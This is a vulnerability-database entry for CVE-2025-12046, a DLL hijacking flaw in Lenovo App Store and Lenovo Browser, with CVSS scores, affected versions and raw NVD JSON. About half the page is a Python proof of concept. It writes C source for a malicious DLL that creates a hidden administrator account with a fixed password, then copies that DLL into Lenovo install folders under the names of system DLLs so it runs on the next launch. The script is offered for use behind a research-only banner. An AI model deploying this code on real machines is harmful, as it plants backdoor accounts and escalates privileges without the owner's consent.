Security Vulnerability Report
中文
CVE-2025-12046 CVSS 7.8 HIGH

CVE-2025-12046

Published: 2025-12-10 15:15:55
Last Modified: 2026-04-15 00:35:42

Description

A DLL hijacking vulnerability was reported in the Lenovo App Store and Lenovo Browser applications that could allow a local authenticated user to execute code with elevated privileges under certain conditions.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Lenovo App Store < 5.2.3.11292
Lenovo Browser < 4.0.3.11292
Lenovo App Store 4.0.x - 5.2.x 系列未修复版本
Lenovo Browser 4.0.x 系列未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12046 DLL Hijacking PoC # Target: Lenovo App Store / Lenovo Browser # Vulnerability: DLL Search Order Hijacking # Severity: Privilege Escalation (Local) import os import ctypes import shutil from pathlib import Path # Malicious DLL source code (to be compiled as DLL) MALICIOUS_DLL_SOURCE = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create administrator user or add to Administrators group // This is a simplified demonstration system("net user malicious P@ssw0rd123 /add"); system("net localgroup Administrators malicious /add"); // Alternatively, spawn a reverse shell or execute payload // system("cmd.exe /c <malicious_command>"); } return TRUE; } ''' # Target DLLs that Lenovo App Store/Browser may load unsafely TARGET_DLLS = [ 'ntdll.dll', 'kernel32.dll', 'user32.dll', 'gdi32.dll', 'comdlg32.dll', 'advapi32.dll', 'shell32.dll', 'ole32.dll', 'oleaut32.dll', 'version.dll' ] def create_malicious_dll(output_path): """Generate malicious DLL for exploitation""" with open(output_path, 'w') as f: f.write(MALICIOUS_DLL_SOURCE) print(f"[+] Malicious DLL source written to: {output_path}") print("[!] Note: Must compile DLL with appropriate compiler (MinGW/MSVC)") def find_vulnerable_paths(): """Find Lenovo application installation paths""" common_paths = [ r'C:\Program Files\Lenovo\App Store', r'C:\Program Files (x86)\Lenovo\App Store', r'C:\Program Files\Lenovo\Lenovo Browser', r'C:\Program Files (x86)\Lenovo\Lenovo Browser', os.path.expandvars(r'%LOCALAPPDATA%\Lenovo\App Store'), os.path.expandvars(r'%APPDATA%\Lenovo\Browser') ] vulnerable_paths = [] for path in common_paths: if os.path.exists(path): vulnerable_paths.append(path) print(f"[+] Found Lenovo app at: {path}") return vulnerable_paths def exploit(target_dir, dll_name='version.dll'): """Deploy malicious DLL to vulnerable location""" malicious_dll = 'malicious.dll' # Compiled malicious DLL target_path = os.path.join(target_dir, dll_name) if not os.path.exists(malicious_dll): print("[-] Malicious DLL not found. Please compile the DLL first.") return False try: # Backup original DLL if exists if os.path.exists(target_path): backup_path = target_path + '.bak' shutil.copy2(target_path, backup_path) print(f"[+] Backed up original DLL to: {backup_path}") # Deploy malicious DLL shutil.copy2(malicious_dll, target_path) print(f"[+] Malicious DLL deployed to: {target_path}") print("[!] When user launches Lenovo App Store/Browser, payload will execute") return True except PermissionError: print("[-] Permission denied. Need elevated privileges to deploy DLL.") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': print("=" * 60) print("CVE-2025-12046 DLL Hijacking PoC") print("Target: Lenovo App Store / Lenovo Browser") print("=" * 60) # Step 1: Find vulnerable application paths print("\n[*] Searching for vulnerable Lenovo applications...") vulnerable_paths = find_vulnerable_paths() if not vulnerable_paths: print("[-] No Lenovo applications found on this system.") exit(1) # Step 2: Generate malicious DLL source print("\n[*] Generating malicious DLL source...") create_malicious_dll('malicious_dll.c') # Step 3: Deploy to all vulnerable locations print("\n[*] Deploying malicious DLL...") for path in vulnerable_paths: print(f"\n[*] Targeting: {path}") for dll in TARGET_DLLS: exploit(path, dll) print("\n[!] PoC deployment complete. Payload will execute on next app launch.") print("[!] Cleanup: Remove deployed DLLs and restore backups after testing.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12046", "sourceIdentifier": "[email protected]", "published": "2025-12-10T15:15:54.907", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A DLL hijacking vulnerability was reported in the Lenovo App Store and Lenovo Browser applications that could allow a local authenticated user to execute code with elevated privileges under certain conditions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://iknow.lenovo.com.cn/detail/435004", "source": "[email protected]"}]}}